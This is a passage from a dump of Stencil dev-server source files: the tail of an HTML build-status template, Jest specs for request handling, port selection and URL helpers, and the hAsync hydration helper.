     -webkit-animation: rotate 600ms linear infinite;\n      animation: rotate 600ms linear infinite;\n    }\n    @-webkit-keyframes rotate {\n      0% {\n        -webkit-transform: rotate(0deg);\n        transform: rotate(0deg);\n      }\n      100% {\n        -webkit-transform: rotate(360deg);\n        transform: rotate(360deg);\n      }\n    }\n    @keyframes rotate {\n      0% {\n        -webkit-transform: rotate(0deg);\n        transform: rotate(0deg);\n      }\n      100% {\n        -webkit-transform: rotate(360deg);\n        transform: rotate(360deg);\n      }\n    }\n    svg circle {\n      fill: transparent;\n      stroke: white;\n      stroke-width: 4px;\n      stroke-dasharray: 128px;\n      stroke-dashoffset: 82px;\n    }\n    .logs {\n      position: absolute;\n      top: 50px;\n      right: 10px;\n      left: 10px;\n      margin: auto;\n      max-width: 700px;\n      padding: 32px;\n      line-height: 1.5;\n    }\n\n    @media (prefers-color-scheme: dark) { \n      .toast {\n        background: rgb(49, 49, 49, .9);\n      }\n    }\n  </style>\n</head>\n<body>\n\n  <div class=\"toast\">\n    <div class=\"content\">\n      <div class=\"message\">Initializing First Build...</div>\n      <div class=\"spinner\">\n        <svg viewBox=\"0 0 64 64\"><circle transform=\"translate(32,32)\" r=\"26\"></circle></svg>\n      </div>\n    </div>\n  </div>\n\n  <div class=\"logs\">\n    <pre id=\"log-output\"></pre>\n  </div>\n\n  <script>\n    setTimeout(function() {\n      document.querySelector('.toast').classList.add('active');\n    }, 100);\n\n    var logOutput = document.getElementById('log-output');\n    window.addEventListener('devserver:buildlog', function(ev) {\n      var buildLog = ev.detail;\n      if (buildLog && buildLog.messages) {\n        logOutput.innerText = buildLog.messages.join('\\n');\n      }\n    });\n  </script>\n\n</body>\n</html>"
  },
  {
    "path": "src/dev-server/test/Diagnostic.stub.ts",
    "content": "import * as d from '@stencil/core/declarations';\n\n/**\n * Generates a stub {@link d.Diagnostic}. This function uses sensible defaults for the initial stub. However,\n * any field in the object may be overridden via the `overrides` argument.\n * @param overrides a partial implementation of `Diagnostic`. Any provided fields will override the defaults provided\n * by this function.\n * @returns the stubbed `Diagnostic`\n */\nexport const stubDiagnostic = (overrides: Partial<d.Diagnostic> = {}): d.Diagnostic => {\n  const defaults: d.Diagnostic = {\n    absFilePath: undefined,\n    header: 'Mock Error',\n    level: 'error',\n    lines: [],\n    messageText: 'mock error',\n    relFilePath: undefined,\n    type: 'mock',\n  };\n\n  return { ...defaults, ...overrides };\n};\n"
  },
  {
    "path": "src/dev-server/test/dev-server-utils.spec.ts",
    "content": "import { isCssFile, isHtmlFile } from '../dev-server-utils';\n\ndescribe('dev-server-utils', () => {\n  describe('isHtmlFile', () => {\n    it.each(['.html', 'foo.html', 'foo/bar.html'])('returns true for .html files (%s)', (filename) => {\n      expect(isHtmlFile(filename)).toEqual(true);\n    });\n\n    it.each(['.htm', 'foo.htm', 'foo/bar.htm'])('returns true for .htm files (%s)', (filename) => {\n      expect(isHtmlFile(filename)).toEqual(true);\n    });\n\n    it.each(['.ht', 'foo.htmx', 'foo/bar.xaml'])('returns false for other types of files (%s)', (filename) => {\n      expect(isHtmlFile(filename)).toEqual(false);\n    });\n\n    it.each(['.hTMl', 'foo.HTML', 'foo/bar.htmL'])('is case insensitive for filename (%s)', (filename) => {\n      expect(isHtmlFile(filename)).toEqual(true);\n    });\n  });\n\n  describe('isCssFile', () => {\n    it.each(['.css', 'foo.css', 'foo/bar.css'])('returns true for .css files (%s)', (filename) => {\n      expect(isCssFile(filename)).toEqual(true);\n    });\n\n    it.each(['.txt', 'foo.sass', 'foo/bar.htm'])('returns false for other types of files (%s)', (filename) => {\n      expect(isCssFile(filename)).toEqual(false);\n    });\n\n    it.each(['.cSs', 'foo.cSS', 'foo/bar.CSS'])('is case insensitive for filename (%s)', (filename) => {\n      expect(isCssFile(filename)).toEqual(true);\n    });\n  });\n});\n"
  },
  {
    "path": "src/dev-server/test/req-handler.spec.ts",
    "content": "import type * as d from '@stencil/core/declarations';\nimport { mockConfig, mockLoadConfigInit } from '@stencil/core/testing';\nimport { normalizePath } from '@utils';\nimport nodeFs from 'fs';\nimport type { IncomingMessage, ServerResponse } from 'http';\nimport path from 'path';\n\nimport { validateConfig } from '../../compiler/config/validate-config';\nimport { validateDevServer } from '../../compiler/config/validate-dev-server';\nimport { createSystem } from '../../compiler/sys/stencil-sys';\nimport { createRequestHandler } from '../request-handler';\nimport { appendDevServerClientIframe } from '../serve-file';\nimport { createServerContext } from '../server-context';\n\ndescribe('request-handler', () => {\n  let devServerConfig: d.DevServerConfig;\n  let serverCtx: d.DevServerContext;\n  let sys: d.CompilerSystem;\n  let req: IncomingMessage;\n  let res: TestServerResponse;\n  let sendMsg: d.DevServerSendMessage;\n  const root = path.resolve('/');\n  const tmplDirPath = normalizePath(path.join(__dirname, '..', 'templates', 'directory-index.html'));\n  const tmplDir = nodeFs.readFileSync(tmplDirPath, 'utf8');\n\n  beforeEach(async () => {\n    sys = createSystem();\n\n    const validated = validateConfig(mockConfig(), mockLoadConfigInit());\n    const stencilConfig = validated.config;\n    stencilConfig.flags.serve = true;\n\n    stencilConfig.devServer = {\n      devServerDir: normalizePath(path.join(__dirname, '..')),\n      root: normalizePath(path.join(root, 'www')),\n      basePath: '/',\n    };\n\n    await sys.createDir(stencilConfig.devServer.root);\n    await sys.writeFile(path.join(stencilConfig.devServer.devServerDir, 'templates', 'directory-index.html'), tmplDir);\n\n    devServerConfig = validateDevServer(stencilConfig, []);\n    req = {} as any;\n    res = {} as any;\n\n    res.writeHead = (statusCode: number, headers: any): any => {\n      res.$statusCode = statusCode;\n      res.$headers = headers;\n      res.$contentType = headers && headers['content-type'];\n    };\n\n    res.write = (content: any) => {\n      res.$contentWrite = content;\n      return true;\n    };\n\n    res.end = () => {\n      res.$content = res.$contentWrite;\n      return this;\n    };\n\n    sendMsg = () => {};\n\n    serverCtx = createServerContext(sys, sendMsg, devServerConfig, [], []);\n  });\n\n  describe('historyApiFallback', () => {\n    it('should load historyApiFallback index.html when dot in the url disableDotRule true', async () => {\n      await sys.writeFile(path.join(root, 'www', 'index.html'), `root-index`);\n      devServerConfig.historyApiFallback = {\n        index: 'index.html',\n        disableDotRule: true,\n      };\n      const handler = createRequestHandler(devServerConfig, serverCtx);\n\n      req.headers = {\n        accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',\n      };\n      req.url = '/about.us';\n      req.method = 'GET';\n\n      await handler(req, res);\n      expect(res.$statusCode).toBe(200);\n    });\n\n    it('should not load historyApiFallback index.html when dot in the url', async () => {\n      await sys.writeFile(path.join(root, 'www', 'index.html'), `root-index`);\n      devServerConfig.historyApiFallback = {\n        index: 'index.html',\n      };\n      const handler = createRequestHandler(devServerConfig, serverCtx);\n\n      req.headers = {\n        accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',\n      };\n      req.url = '/about.us';\n      req.method = 'GET';\n\n      await handler(req, res);\n      expect(res.$statusCode).toBe(404);\n    });\n\n    it('should not load historyApiFallback index.html when no text/html accept header', async () => {\n      await sys.writeFile(path.join(root, 'www', 'index.html'), `root-index`);\n      devServerConfig.historyApiFallback = {\n        index: 'index.html',\n      };\n      const handler = createRequestHandler(devServerConfig, serverCtx);\n\n      req.headers = {\n        accept: '*/*',\n      };\n      req.url = '/about-us';\n      req.method = 'GET';\n\n      await handler(req, res);\n      expect(res.$statusCode).toBe(404);\n    });\n\n    it('should not load historyApiFallback index.html when not GET request', async () => {\n      await sys.writeFile(path.join(root, 'www', 'index.html'), `root-index`);\n      devServerConfig.historyApiFallback = {\n        index: 'index.html',\n      };\n      const handler = createRequestHandler(devServerConfig, serverCtx);\n\n      req.headers = {\n        accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',\n      };\n      req.url = '/about-us';\n      req.method = 'POST';\n\n      await handler(req, res);\n      expect(res.$statusCode).toBe(404);\n    });\n\n    it('should load historyApiFallback index.html when no trailing slash', async () => {\n      await sys.writeFile(path.join(root, 'www', 'index.html'), `root-index`);\n      devServerConfig.historyApiFallback = {\n        index: 'index.html',\n      };\n      const handler = createRequestHandler(devServerConfig, serverCtx);\n\n      req.headers = {\n        accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',\n      };\n      req.url = '/about-us';\n\n      await handler(req, res);\n      expect(res.$statusCode).toBe(200);\n      expect(res.$content).toContain('root-index');\n      expect(res.$contentType).toBe('text/html; charset=utf-8');\n    });\n\n    it('should load historyApiFallback index.html when trailing slash', async () => {\n      await sys.writeFile(path.join(root, 'www', 'index.html'), `root-index`);\n      devServerConfig.historyApiFallback = {\n        index: 'index.html',\n      };\n      const handler = createRequestHandler(devServerConfig, serverCtx);\n\n      req.headers = {\n        accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',\n      };\n      req.url = '/about-us/';\n\n      await handler(req, res);\n      expect(res.$statusCode).toBe(200);\n      expect(res.$content).toContain('root-index');\n      expect(res.$contentType).toBe('text/html; charset=utf-8');\n    });\n\n    it('should list directory when ended in slash and not using historyApiFallback', async () => {\n      await sys.createDir(path.join(root, 'www', 'about-us'));\n      await sys.writeFile(path.join(root, 'www', 'about-us', 'somefile1.html'), `somefile1`);\n      await sys.writeFile(path.join(root, 'www', 'about-us', 'somefile2.html'), `somefile2`);\n      devServerConfig.historyApiFallback = null;\n      const handler = createRequestHandler(devServerConfig, serverCtx);\n\n      req.headers = {\n        accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',\n      };\n      req.url = '/about-us/';\n\n      await handler(req, res);\n      expect(res.$statusCode).toBe(200);\n      expect(res.$content).toContain('tmpl-dir');\n      expect(res.$contentType).toBe('text/html; charset=utf-8');\n    });\n  });\n\n  describe('serve directory index', () => {\n    it('should load index.html in directory', async () => {\n      await sys.createDir(path.join(root, 'www', 'about-us'));\n      await sys.writeFile(path.join(root, 'www', 'about-us.html'), `about-us.html page`);\n      await sys.writeFile(path.join(root, 'www', 'about-us', 'index.html'), `about-us-index-directory`);\n      devServerConfig.historyApiFallback = null;\n      const handler = createRequestHandler(devServerConfig, serverCtx);\n\n      req.headers = {\n        accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',\n      };\n      req.url = '/about-us/';\n\n      await handler(req, res);\n      expect(res.$statusCode).toBe(200);\n      expect(res.$content).toContain('about-us-index-directory');\n      expect(res.$contentType).toBe('text/html; charset=utf-8');\n    });\n\n    it('should redirect directory w/ slash', async () => {\n      await sys.createDir(path.join(root, 'www', 'about-us'));\n      await sys.writeFile(path.join(root, 'www', 'about-us', 'somefile1.html'), `somefile1`);\n      await sys.writeFile(path.join(root, 'www', 'about-us', 'somefile2.html'), `somefile2`);\n      devServerConfig.historyApiFallback = {};\n      const handler = createRequestHandler(devServerConfig, serverCtx);\n\n      req.headers = {\n        accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',\n      };\n      req.url = '/about-us';\n\n      await handler(req, res);\n      expect(res.$statusCode).toBe(302);\n      expect(res.$headers.location).toBe('/about-us/');\n    });\n\n    it('get directory index.html with no trailing slash', async () => {\n      await sys.createDir(path.join(root, 'www', 'about-us'));\n      await sys.writeFile(path.join(root, 'www', 'about-us', 'index.html'), `aboutus`);\n      const handler = createRequestHandler(devServerConfig, serverCtx);\n\n      req.url = '/about-us';\n\n      await handler(req, res);\n      expect(res.$statusCode).toBe(200);\n      expect(res.$content).toContain('aboutus');\n      expect(res.$contentType).toBe('text/html; charset=utf-8');\n    });\n\n    it('get directory index.html with trailing slash and base url', async () => {\n      devServerConfig.basePath = '/my-base-url/';\n      await sys.createDir(path.join(root, 'www', 'about-us'));\n      await sys.writeFile(path.join(root, 'www', 'about-us', 'index.html'), `aboutus`);\n      const handler = createRequestHandler(devServerConfig, serverCtx);\n\n      req.url = '/my-base-url/about-us/';\n\n      await handler(req, res);\n      expect(res.$statusCode).toBe(200);\n      expect(res.$content).toContain('aboutus');\n      expect(res.$contentType).toBe('text/html; charset=utf-8');\n    });\n\n    it('get directory index.html without trailing slash and base url', async () => {\n      devServerConfig.basePath = '/my-base-url/';\n      await sys.createDir(path.join(root, 'www', 'about-us'));\n      await sys.writeFile(path.join(root, 'www', 'about-us', 'index.html'), `aboutus`);\n      const handler = createRequestHandler(devServerConfig, serverCtx);\n\n      req.url = '/my-base-url/about-us';\n\n      await handler(req, res);\n      expect(res.$statusCode).toBe(200);\n      expect(res.$content).toContain('aboutus');\n      expect(res.$contentType).toBe('text/html; charset=utf-8');\n    });\n\n    it('get directory index.html with trailing slash', async () => {\n      await sys.createDir(path.join(root, 'www', 'about-us'));\n      await sys.writeFile(path.join(root, 'www', 'about-us', 'index.html'), `aboutus`);\n      const handler = createRequestHandler(devServerConfig, serverCtx);\n\n      req.url = '/about-us/';\n\n      await handler(req, res);\n      expect(res.$statusCode).toBe(200);\n      expect(res.$content).toContain('aboutus');\n      expect(res.$contentType).toBe('text/html; charset=utf-8');\n    });\n  });\n\n  describe('error not found static files', () => {\n    it('not find file', async () => {\n      const handler = createRequestHandler(devServerConfig, serverCtx);\n\n      req.url = '/www/index.html';\n\n      await handler(req, res);\n      expect(res.$statusCode).toBe(404);\n      expect(res.$content).toContain('/index.html');\n      expect(res.$contentType).toBe('text/plain; charset=utf-8');\n    });\n  });\n\n  describe('root index', () => {\n    it('serve directory listing when no index.html', async () => {\n      await sys.writeFile(path.join(root, 'www', 'styles.css'), `/* hi */`);\n      await sys.writeFile(path.join(root, 'www', 'scripts.js'), `// hi`);\n      await sys.writeFile(path.join(root, 'www', '.gitignore'), `# gitignore`);\n      const handler = createRequestHandler(devServerConfig, serverCtx);\n\n      req.url = '/';\n\n      await handler(req, res);\n      expect(res.$statusCode).toBe(200);\n      expect(res.$content).toContain('tmpl-dir');\n      expect(res.$contentType).toBe('text/html; charset=utf-8');\n    });\n\n    it('serve root index.html w/ querystring', async () => {\n      await sys.writeFile(path.join(root, 'www', 'index.html'), `hello`);\n      devServerConfig.gzip = false;\n      const handler = createRequestHandler(devServerConfig, serverCtx);\n\n      req.url = '/?qs=123';\n\n      await handler(req, res);\n      expect(res.$statusCode).toBe(200);\n      expect(res.$content).toContain('hello');\n      expect(res.$contentType).toBe('text/html; charset=utf-8');\n    });\n\n    it('serve root index.html w/ base url without url trailing slash', async () => {\n      devServerConfig.basePath = '/my-base-url/';\n      await sys.writeFile(path.join(root, 'www', 'index.html'), `hello`);\n      const handler = createRequestHandler(devServerConfig, serverCtx);\n\n      req.url = '/my-base-url';\n\n      await handler(req, res);\n      expect(res.$statusCode).toBe(200);\n      expect(res.$content).toContain('hello');\n      expect(res.$contentType).toBe('text/html; charset=utf-8');\n    });\n\n    it('serve root index.html w/ base url without trailing slash, with trailing slash url', async () => {\n      devServerConfig.basePath = '/my-base-url';\n      await sys.writeFile(path.join(root, 'www', 'index.html'), `hello`);\n      const handler = createRequestHandler(devServerConfig, serverCtx);\n\n      req.url = '/my-base-url/';\n\n      await handler(req, res);\n      expect(res.$statusCode).toBe(200);\n      expect(res.$content).toContain('hello');\n      expect(res.$contentType).toBe('text/html; charset=utf-8');\n    });\n\n    it('serve root index.html w/ base url w/ index.html', async () => {\n      devServerConfig.basePath = '/my-base-url/';\n      await sys.writeFile(path.join(root, 'www', 'index.html'), `hello`);\n      const handler = createRequestHandler(devServerConfig, serverCtx);\n\n      req.url = '/my-base-url/index.html';\n\n      await handler(req, res);\n      expect(res.$statusCode).toBe(200);\n      expect(res.$content).toContain('hello');\n      expect(res.$contentType).toBe('text/html; charset=utf-8');\n    });\n\n    it('serve root index.html w/ base url', async () => {\n      devServerConfig.basePath = '/my-base-url/';\n      await sys.writeFile(path.join(root, 'www', 'index.html'), `hello`);\n      const handler = createRequestHandler(devServerConfig, serverCtx);\n\n      req.url = '/my-base-url/';\n\n      await handler(req, res);\n      expect(res.$statusCode).toBe(200);\n      expect(res.$content).toContain('hello');\n      expect(res.$contentType).toBe('text/html; charset=utf-8');\n    });\n\n    it('serve root index.html', async () => {\n      await sys.writeFile(path.join(root, 'www', 'index.html'), `hello`);\n      const handler = createRequestHandler(devServerConfig, serverCtx);\n\n      req.url = '/';\n\n      await handler(req, res);\n      expect(res.$statusCode).toBe(200);\n      expect(res.$content).toContain('hello');\n      expect(res.$contentType).toBe('text/html; charset=utf-8');\n    });\n\n    it('302 redirect to / when no path at all', async () => {\n      await sys.writeFile(path.join(root, 'www', 'index.html'), `hello`);\n      const handler = createRequestHandler(devServerConfig, serverCtx);\n\n      req.url = '';\n\n      await handler(req, res);\n      expect(res.$statusCode).toBe(302);\n      expect(res.$headers.location).toBe('/');\n    });\n  });\n\n  describe('serve static text files', () => {\n    it('should load file w/ querystring', async () => {\n      await sys.writeFile(path.join(root, 'www', 'scripts', 'file1.html'), `html`);\n      const handler = createRequestHandler(devServerConfig, serverCtx);\n\n      req.url = '/scripts/file1.html?qs=1234';\n\n      await handler(req, res);\n      expect(res.$statusCode).toBe(200);\n      expect(res.$content.split('\\n')[0]).toContain('html');\n      expect(res.$contentType).toBe('text/html; charset=utf-8');\n    });\n\n    it('should load html file', async () => {\n      await sys.writeFile(path.join(root, 'www', 'scripts', 'file1.html'), `html`);\n      const handler = createRequestHandler(devServerConfig, serverCtx);\n\n      req.url = '/scripts/file1.html';\n\n      await handler(req, res);\n      expect(res.$statusCode).toBe(200);\n      expect(res.$content.split('\\n')[0]).toContain('html');\n      expect(res.$contentType).toBe('text/html; charset=utf-8');\n    });\n  });\n\n  describe('iframe connector', () => {\n    it('appends to <body>', () => {\n      const h = appendDevServerClientIframe(`<html><body>88mph</body></html>`, `<iframe></iframe>`);\n      expect(h).toBe(`<html><body>88mph<iframe></iframe></body></html>`);\n    });\n\n    it('appends to <html>', () => {\n      const h = appendDevServerClientIframe(`<html>88mph</html>`, `<iframe></iframe>`);\n      expect(h).toBe(`<html>88mph<iframe></iframe></html>`);\n    });\n\n    it('appends to end', () => {\n      const h = appendDevServerClientIframe(`88mph`, `<iframe></iframe>`);\n      expect(h).toBe(`88mph<iframe></iframe>`);\n    });\n  });\n\n  describe('pingRoute', () => {\n    it('should return a 200 for successful build', async () => {\n      serverCtx.getBuildResults = () =>\n        Promise.resolve({ hasSuccessfulBuild: true }) as Promise<d.CompilerBuildResults>;\n\n      const handler = createRequestHandler(devServerConfig, serverCtx);\n\n      req.url = '/ping';\n\n      await handler(req, res);\n      expect(res.$statusCode).toBe(200);\n    });\n\n    it('should return a 500 for unsuccessful build', async () => {\n      serverCtx.getBuildResults = () =>\n        Promise.resolve({ hasSuccessfulBuild: false }) as Promise<d.CompilerBuildResults>;\n\n      const handler = createRequestHandler(devServerConfig, serverCtx);\n\n      req.url = '/ping';\n\n      await handler(req, res);\n      expect(res.$statusCode).toBe(500);\n    });\n  });\n});\n\ninterface TestServerResponse extends ServerResponse {\n  $statusCode?: number;\n  $headers?: any;\n  $contentWrite?: string;\n  $content?: string;\n  $contentType?: string;\n}\n"
  },
  {
    "path": "src/dev-server/test/server-http.spec.ts",
    "content": "import * as net from 'net';\n\nimport { findClosestOpenPort } from '../server-http';\n\ndescribe('server-http', () => {\n  describe('findClosestOpenPort', () => {\n    let testServer: net.Server;\n    const TEST_HOST = '127.0.0.1';\n    const TEST_PORT = 9876;\n\n    afterEach(async () => {\n      if (testServer) {\n        await new Promise<void>((resolve) => {\n          testServer.close(() => resolve());\n        });\n      }\n    });\n\n    it('should return the same port if it is available', async () => {\n      const port = await findClosestOpenPort(TEST_HOST, TEST_PORT);\n      expect(port).toBe(TEST_PORT);\n    });\n\n    it('should find the next available port when strictPort is false', async () => {\n      // Occupy the test port\n      testServer = net.createServer();\n      await new Promise<void>((resolve) => {\n        testServer.listen(TEST_PORT, TEST_HOST, () => resolve());\n      });\n\n      const port = await findClosestOpenPort(TEST_HOST, TEST_PORT, false);\n      expect(port).toBe(TEST_PORT + 1);\n    });\n\n    it('should find the next available port when strictPort is not provided (defaults to false)', async () => {\n      // Occupy the test port\n      testServer = net.createServer();\n      await new Promise<void>((resolve) => {\n        testServer.listen(TEST_PORT, TEST_HOST, () => resolve());\n      });\n\n      const port = await findClosestOpenPort(TEST_HOST, TEST_PORT);\n      expect(port).toBe(TEST_PORT + 1);\n    });\n\n    it('should throw an error when port is taken and strictPort is true', async () => {\n      // Occupy the test port\n      testServer = net.createServer();\n      await new Promise<void>((resolve) => {\n        testServer.listen(TEST_PORT, TEST_HOST, () => resolve());\n      });\n\n      await expect(findClosestOpenPort(TEST_HOST, TEST_PORT, true)).rejects.toThrow(\n        `Port ${TEST_PORT} is already in use. Please specify a different port or set strictPort to false.`,\n      );\n    });\n\n    it('should return the port when available and strictPort is true', async () => {\n      const port = await findClosestOpenPort(TEST_HOST, TEST_PORT, true);\n      expect(port).toBe(TEST_PORT);\n    });\n  });\n});\n"
  },
  {
    "path": "src/dev-server/test/tsconfig.json",
    "content": "{\n  \"extends\": \"../../testing/tsconfig.internal.json\"\n}\n"
  },
  {
    "path": "src/dev-server/test/util.spec.ts",
    "content": "import type * as d from '@stencil/core/declarations';\n\nimport { DEV_SERVER_URL } from '../dev-server-constants';\nimport {\n  getBrowserUrl,\n  getDevServerClientUrl,\n  getSsrStaticDataPath,\n  isExtensionLessPath,\n  isSsrStaticDataPath,\n} from '../dev-server-utils';\n\ndescribe('dev-server, util', () => {\n  it('should get url with custom base url and pathname', () => {\n    const protocol = 'http:';\n    const address = '0.0.0.0';\n    const port = 44;\n    const baseUrl = '/my-base-url/';\n    const pathname = '/my-custom-path-name';\n    const url = getBrowserUrl(protocol, address, port, baseUrl, pathname);\n    expect(url).toBe('http://localhost:44/my-base-url/my-custom-path-name');\n  });\n\n  it('should get url with custom pathname', () => {\n    const protocol = 'http';\n    const address = '0.0.0.0';\n    const port = 44;\n    const baseUrl = '/';\n    const pathname = '/my-custom-path-name';\n    const url = getBrowserUrl(protocol, address, port, baseUrl, pathname);\n    expect(url).toBe('http://localhost:44/my-custom-path-name');\n  });\n\n  it('should get path with 80 port', () => {\n    const protocol = 'http';\n    const address = '0.0.0.0';\n    const port = 80;\n    const baseUrl = '/';\n    const pathname = '/';\n    const url = getBrowserUrl(protocol, address, port, baseUrl, pathname);\n    expect(url).toBe('http://localhost/');\n  });\n\n  it('should get path with no port', () => {\n    const protocol = 'http';\n    const address = '0.0.0.0';\n    const port: any = undefined;\n    const baseUrl = '/';\n    const pathname = '/';\n    const url = getBrowserUrl(protocol, address, port, baseUrl, pathname);\n    expect(url).toBe('http://localhost/');\n  });\n\n  it('should get path with https', () => {\n    const protocol = 'https';\n    const address = '0.0.0.0';\n    const port = 3333;\n    const baseUrl = '/';\n    const pathname = '/';\n    const url = getBrowserUrl(protocol, address, port, baseUrl, pathname);\n    expect(url).toBe('https://localhost:3333/');\n  });\n\n  it('should get path with custom address', () => {\n    const protocol = 'http';\n    const address = 'staging.stenciljs.com';\n    const port = 3333;\n    const baseUrl = '/';\n    const pathname = '/';\n    const url = getBrowserUrl(protocol, address, port, baseUrl, pathname);\n    expect(url).toBe('http://staging.stenciljs.com:3333/');\n  });\n});\n\ndescribe('getDevServerClientUrl', () => {\n  it('should get path for dev server w/ host w/ port w/ protocol', () => {\n    const devServerConfig: d.DevServerConfig = {\n      protocol: 'http',\n      address: '0.0.0.0',\n      port: 3333,\n      basePath: '/my-base-url/',\n    };\n    const proto = 'https';\n    const host = 'staging.stenciljs:5555.com';\n    const url = getDevServerClientUrl(devServerConfig, host, proto);\n    expect(url).toBe(`https://staging.stenciljs:5555.com/my-base-url${DEV_SERVER_URL}`);\n  });\n\n  it('should get path for dev server w/ host w/ port no protocol', () => {\n    const devServerConfig: d.DevServerConfig = {\n      protocol: 'http',\n      address: '0.0.0.0',\n      port: 3333,\n      basePath: '/my-base-url/',\n    };\n    const proto: string = null;\n    const host = 'staging.stenciljs:5555.com';\n    const url = getDevServerClientUrl(devServerConfig, host, proto);\n    expect(url).toBe(`http://staging.stenciljs:5555.com/my-base-url${DEV_SERVER_URL}`);\n  });\n\n  it('should get path for dev server w/ host no port', () => {\n    const devServerConfig: d.DevServerConfig = {\n      protocol: 'http',\n      address: '0.0.0.0',\n      port: 3333,\n      basePath: '/my-base-url/',\n    };\n    const proto: string = null;\n    const host = 'staging.stenciljs.com';\n    const url = getDevServerClientUrl(devServerConfig, host, proto);\n    expect(url).toBe(`http://staging.stenciljs.com/my-base-url${DEV_SERVER_URL}`);\n  });\n\n  it('should get path for dev server w/ base url and port, no host', () => {\n    const devServerConfig: d.DevServerConfig = {\n      protocol: 'http',\n      address: '0.0.0.0',\n      port: 3333,\n      basePath: '/my-base-url/',\n    };\n    const proto: string = null;\n    const host: string = null;\n    const url = getDevServerClientUrl(devServerConfig, host, proto);\n    expect(url).toBe(`http://localhost:3333/my-base-url${DEV_SERVER_URL}`);\n  });\n\n  it('should get path for dev server w/ base url and w/out port', () => {\n    const devServerConfig: d.DevServerConfig = {\n      protocol: 'http',\n      address: '0.0.0.0',\n      basePath: '/my-base-url/',\n    };\n    const proto: string = null;\n    const host: string = null;\n    const url = getDevServerClientUrl(devServerConfig, host, proto);\n    expect(url).toBe(`${devServerConfig.protocol}://localhost/my-base-url${DEV_SERVER_URL}`);\n  });\n\n  it('should get path for dev server w/ custom address, base url and port', () => {\n    const devServerConfig: d.DevServerConfig = {\n      protocol: 'http',\n      address: '1.2.3.4',\n      port: 3333,\n      basePath: '/my-base-url/',\n    };\n    const proto: string = null;\n    const host: string = null;\n    const url = getDevServerClientUrl(devServerConfig, host, proto);\n    expect(url).toBe(`${devServerConfig.protocol}://${devServerConfig.address}:3333/my-base-url${DEV_SERVER_URL}`);\n  });\n\n  it('isExtensionLessPath', () => {\n    expect(isExtensionLessPath('http://stenciljs.com/')).toBe(true);\n    expect(isExtensionLessPath('http://stenciljs.com/blog')).toBe(true);\n    expect(isExtensionLessPath('http://stenciljs.com/blog/')).toBe(true);\n    expect(isExtensionLessPath('http://stenciljs.com/.')).toBe(false);\n    expect(isExtensionLessPath('http://stenciljs.com/data.json')).toBe(false);\n    expect(isExtensionLessPath('http://stenciljs.com/index.html')).toBe(false);\n    expect(isExtensionLessPath('http://stenciljs.com/blog.html')).toBe(false);\n  });\n\n  it('isSsrStaticDataPath', () => {\n    expect(isSsrStaticDataPath('http://stenciljs.com/')).toBe(false);\n    expect(isSsrStaticDataPath('http://stenciljs.com/index.html')).toBe(false);\n    expect(isSsrStaticDataPath('http://stenciljs.com/page.state.json')).toBe(true);\n  });\n\n  it('getSsrStaticDataPath, root', () => {\n    const req: d.HttpRequest = {\n      url: new URL('http://stenciljs.com/page.static.json'),\n      method: 'GET',\n      acceptHeader: '',\n      searchParams: null,\n    };\n    const r = getSsrStaticDataPath(req);\n    expect(r.fileName).toBe('page.static.json');\n    expect(r.hasQueryString).toBe(false);\n    expect(r.ssrPath).toBe('http://stenciljs.com/');\n  });\n\n  it('getSsrStaticDataPath, no trailing slash refer', () => {\n    const req: d.HttpRequest = {\n      url: new URL('http://stenciljs.com/blog/page.static.json?v=1234'),\n      method: 'GET',\n      acceptHeader: '',\n      searchParams: null,\n      headers: {\n        Referer: 'http://stenciljs.com/page',\n      },\n    };\n    const r = getSsrStaticDataPath(req);\n    expect(r.fileName).toBe('page.static.json');\n    expect(r.hasQueryString).toBe(true);\n    expect(r.ssrPath).toBe('http://stenciljs.com/blog');\n  });\n\n  it('getSsrStaticDataPath, with trailing slash refer', () => {\n    const req: d.HttpRequest = {\n      url: new URL('http://stenciljs.com/blog/page.static.json?v=1234'),\n      method: 'GET',\n      acceptHeader: '',\n      searchParams: null,\n      headers: {\n        Referer: 'http://stenciljs.com/page/',\n      },\n    };\n    const r = getSsrStaticDataPath(req);\n    expect(r.fileName).toBe('page.static.json');\n    expect(r.hasQueryString).toBe(true);\n    expect(r.ssrPath).toBe('http://stenciljs.com/blog/');\n  });\n});\n"
  },
  {
    "path": "src/hydrate/platform/h-async.ts",
    "content": "import { consoleDevError } from '@platform';\nimport { h } from '@runtime';\n\nimport type * as d from '../../declarations';\n\nexport const hAsync = (nodeName: any, vnodeData: any, ...children: d.ChildType[]) => {\n  if (Array.isArray(children) && children.length > 0) {\n    // only return a promise if we have to\n    const flatChildren = children.flat(Infinity);\n    // has children and at least one of them is async\n    // wait on all of them to be resolved\n    if (flatChildren.some((child) => child instanceof Promise)) {\n      return Promise.all(flatChildren)\n        .then((resolvedChildren) => {\n          return h(nodeName, vnodeData, ...resolvedChildren);\n        })\n        .catch((err) => {\n          consoleDevError(err);\n          return h(nodeName, vnodeData);\n        });\n    }\n    // no async children, just return sync\n    return h(nodeName, vnodeData, ...flatChildren);\n  }\n\n  // no children, return sync\n  return h(nodeName, vnodeData);\n};\n"
  },
  {
    "path": "src/hydrate/platform/hydrate-app.ts",
